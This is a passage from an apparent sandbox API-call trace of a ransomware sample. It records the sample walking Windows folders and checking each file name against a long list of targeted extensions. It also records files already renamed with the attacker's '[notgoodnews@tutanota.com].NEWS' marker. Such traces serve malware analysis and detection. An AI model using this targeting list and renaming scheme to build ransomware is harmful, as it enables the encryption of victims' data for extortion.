lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mpv") returned 4 [0157.191] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".mrw") returned 4 [0157.191] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.191] lstrlenW (lpString=".msg") returned 4 [0157.191] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".mxl") returned 4 [0157.192] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".myd") returned 4 [0157.192] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".myi") returned 4 [0157.192] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".nef") returned 4 [0157.192] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".nrw") returned 4 [0157.192] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".obj") returned 4 [0157.192] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".odb") returned 4 [0157.192] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".odc") returned 4 [0157.192] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".odm") returned 4 [0157.192] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".odp") returned 4 [0157.192] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".ods") returned 4 [0157.192] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".oft") returned 4 [0157.192] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".one") returned 4 [0157.192] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".onepkg") returned 7 [0157.192] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.192] lstrlenW (lpString=".onetoc2") returned 8 [0157.192] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.192] lstrlenW (lpString=".opt") returned 4 [0157.192] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".oqy") returned 4 [0157.192] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".orf") returned 4 [0157.192] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.192] lstrlenW (lpString=".p12") returned 4 [0157.193] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".p7b") returned 4 [0157.193] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".p7c") returned 4 [0157.193] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pam") returned 4 [0157.193] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pbm") returned 4 [0157.193] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pct") returned 4 [0157.193] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pcx") returned 4 [0157.193] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pdd") returned 4 [0157.193] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pdf") returned 4 [0157.193] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pdp") returned 4 [0157.193] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pef") returned 4 [0157.193] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pem") returned 4 [0157.193] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pff") returned 4 [0157.193] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pfm") returned 4 [0157.193] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pfx") returned 4 [0157.193] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".pgm") returned 4 [0157.193] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".php") returned 4 [0157.193] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.193] lstrlenW (lpString=".php3") returned 5 [0157.193] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.193] lstrlenW (lpString=".php4") returned 5 [0157.193] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".php5") returned 5 [0157.194] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".phtml") returned 6 [0157.194] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.194] lstrlenW (lpString=".pict") returned 5 [0157.194] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".pl") returned 3 [0157.194] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.194] lstrlenW (lpString=".pls") returned 4 [0157.194] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".pm") returned 3 [0157.194] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.194] lstrlenW (lpString=".png") returned 4 [0157.194] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".pnm") returned 4 [0157.194] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".pot") returned 4 [0157.194] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".potm") returned 5 [0157.194] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".potx") returned 5 [0157.194] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".ppa") returned 4 [0157.194] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".ppam") returned 5 [0157.194] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".ppm") returned 4 [0157.194] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".pps") returned 4 [0157.194] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".ppsm") returned 5 [0157.194] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".ppt") returned 4 [0157.194] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.194] lstrlenW (lpString=".pptm") returned 5 [0157.194] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.194] lstrlenW (lpString=".pptx") returned 5 [0157.195] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.195] lstrlenW (lpString=".prn") returned 4 [0157.195] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".ps") returned 3 [0157.195] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.195] lstrlenW (lpString=".psb") returned 4 [0157.195] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".psd") returned 4 [0157.195] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".pst") returned 4 [0157.195] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".ptx") returned 4 [0157.195] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".pub") returned 4 [0157.195] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".pwm") returned 4 [0157.195] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".pxr") returned 4 [0157.195] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".py") returned 3 [0157.195] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.195] lstrlenW (lpString=".qt") returned 3 [0157.195] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.195] lstrlenW (lpString=".r3d") returned 4 [0157.195] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".raf") returned 4 [0157.195] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".rar") returned 4 [0157.195] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0157.195] lstrlenW (lpString=".raw") returned 4 [0157.195] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0157.195] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37dcc316, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37dcc316, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37df2ab7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.196] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37eb10b9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37eb10b9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.196] FindNextFileW (in: hFindFile=0x4844d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37eb10b9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37eb10b9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37ed85ab, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.196] FindClose (in: hFindFile=0x4844d8 | out: hFindFile=0x4844d8) returned 1 [0157.196] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.196] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0157.196] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.196] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484798 [0157.200] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.200] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38b5b948, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38b5b948, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38b81a76, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.200] lstrlenW (lpString="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 52 [0157.200] lstrlenW (lpString=".1cd") returned 4 [0157.200] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0157.200] lstrlenW (lpString=".3ds") returned 4 [0157.200] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0157.200] lstrlenW (lpString=".3fr") returned 4 [0157.200] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0157.200] lstrlenW (lpString=".3g2") returned 4 [0157.200] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0157.200] lstrlenW (lpString=".3gp") returned 4 [0157.200] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".7z") returned 3 [0157.201] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0157.201] lstrlenW (lpString=".accda") returned 6 [0157.201] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0157.201] lstrlenW (lpString=".accdb") returned 6 [0157.201] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0157.201] lstrlenW (lpString=".accdc") returned 6 [0157.201] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0157.201] lstrlenW (lpString=".accde") returned 6 [0157.201] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0157.201] lstrlenW (lpString=".accdt") returned 6 [0157.201] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0157.201] lstrlenW (lpString=".accdw") returned 6 [0157.201] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0157.201] lstrlenW (lpString=".adb") returned 4 [0157.201] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".adp") returned 4 [0157.201] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".ai") returned 3 [0157.201] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0157.201] lstrlenW (lpString=".ai3") returned 4 [0157.201] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".ai4") returned 4 [0157.201] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".ai5") returned 4 [0157.201] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".ai6") returned 4 [0157.201] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".ai7") returned 4 [0157.201] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".ai8") returned 4 [0157.201] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".anim") returned 5 [0157.201] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.201] lstrlenW (lpString=".arw") returned 4 [0157.201] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.201] lstrlenW (lpString=".as") returned 3 [0157.202] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.202] lstrlenW (lpString=".asa") returned 4 [0157.202] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".asc") returned 4 [0157.202] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".ascx") returned 5 [0157.202] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.202] lstrlenW (lpString=".asm") returned 4 [0157.202] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".asmx") returned 5 [0157.202] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.202] lstrlenW (lpString=".asp") returned 4 [0157.202] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".aspx") returned 5 [0157.202] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.202] lstrlenW (lpString=".asr") returned 4 [0157.202] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".asx") returned 4 [0157.202] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".avi") returned 4 [0157.202] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".avs") returned 4 [0157.202] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".backup") returned 7 [0157.202] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.202] lstrlenW (lpString=".bak") returned 4 [0157.202] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".bay") returned 4 [0157.202] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".bd") returned 3 [0157.202] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.202] lstrlenW (lpString=".bin") returned 4 [0157.202] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".bmp") returned 4 [0157.202] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".bz2") returned 4 [0157.202] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.202] lstrlenW (lpString=".c") returned 2 [0157.202] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.203] lstrlenW (lpString=".cdr") returned 4 [0157.203] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".cer") returned 4 [0157.203] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".cf") returned 3 [0157.203] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.203] lstrlenW (lpString=".cfc") returned 4 [0157.203] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".cfm") returned 4 [0157.203] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".cfml") returned 5 [0157.203] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.203] lstrlenW (lpString=".cfu") returned 4 [0157.203] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".chm") returned 4 [0157.203] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".cin") returned 4 [0157.203] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".class") returned 6 [0157.203] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.203] lstrlenW (lpString=".clx") returned 4 [0157.203] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".config") returned 7 [0157.203] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.203] lstrlenW (lpString=".cpp") returned 4 [0157.203] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".cr2") returned 4 [0157.203] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".crt") returned 4 [0157.203] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".crw") returned 4 [0157.203] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".cs") returned 3 [0157.203] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.203] lstrlenW (lpString=".css") returned 4 [0157.203] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.203] lstrlenW (lpString=".csv") returned 4 [0157.204] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".cub") returned 4 [0157.204] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dae") returned 4 [0157.204] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dat") returned 4 [0157.204] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".db") returned 3 [0157.204] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.204] lstrlenW (lpString=".dbf") returned 4 [0157.204] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dbx") returned 4 [0157.204] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dc3") returned 4 [0157.204] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dcm") returned 4 [0157.204] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dcr") returned 4 [0157.204] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".der") returned 4 [0157.204] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dib") returned 4 [0157.204] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dic") returned 4 [0157.204] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".dif") returned 4 [0157.204] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".divx") returned 5 [0157.204] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.204] lstrlenW (lpString=".djvu") returned 5 [0157.204] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.204] lstrlenW (lpString=".dng") returned 4 [0157.204] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".doc") returned 4 [0157.204] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.204] lstrlenW (lpString=".docm") returned 5 [0157.204] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.204] lstrlenW (lpString=".docx") returned 5 [0157.205] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.205] lstrlenW (lpString=".dot") returned 4 [0157.205] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".dotm") returned 5 [0157.205] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.205] lstrlenW (lpString=".dotx") returned 5 [0157.205] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.205] lstrlenW (lpString=".dpx") returned 4 [0157.205] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".dqy") returned 4 [0157.205] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".dsn") returned 4 [0157.205] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".dt") returned 3 [0157.205] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.205] lstrlenW (lpString=".dtd") returned 4 [0157.205] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".dwg") returned 4 [0157.205] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".dwt") returned 4 [0157.205] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".dx") returned 3 [0157.205] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.205] lstrlenW (lpString=".dxf") returned 4 [0157.205] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".edml") returned 5 [0157.205] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.205] lstrlenW (lpString=".efd") returned 4 [0157.205] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".elf") returned 4 [0157.205] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".emf") returned 4 [0157.205] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".emz") returned 4 [0157.205] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.205] lstrlenW (lpString=".epf") returned 4 [0157.205] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".eps") returned 4 [0157.206] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".epsf") returned 5 [0157.206] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.206] lstrlenW (lpString=".epsp") returned 5 [0157.206] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.206] lstrlenW (lpString=".erf") returned 4 [0157.206] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".exr") returned 4 [0157.206] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".f4v") returned 4 [0157.206] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".fido") returned 5 [0157.206] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.206] lstrlenW (lpString=".flm") returned 4 [0157.206] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".flv") returned 4 [0157.206] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".frm") returned 4 [0157.206] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".fxg") returned 4 [0157.206] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".geo") returned 4 [0157.206] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".gif") returned 4 [0157.206] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".grs") returned 4 [0157.206] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.206] lstrlenW (lpString=".gz") returned 3 [0157.206] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.206] lstrlenW (lpString=".h") returned 2 [0157.206] 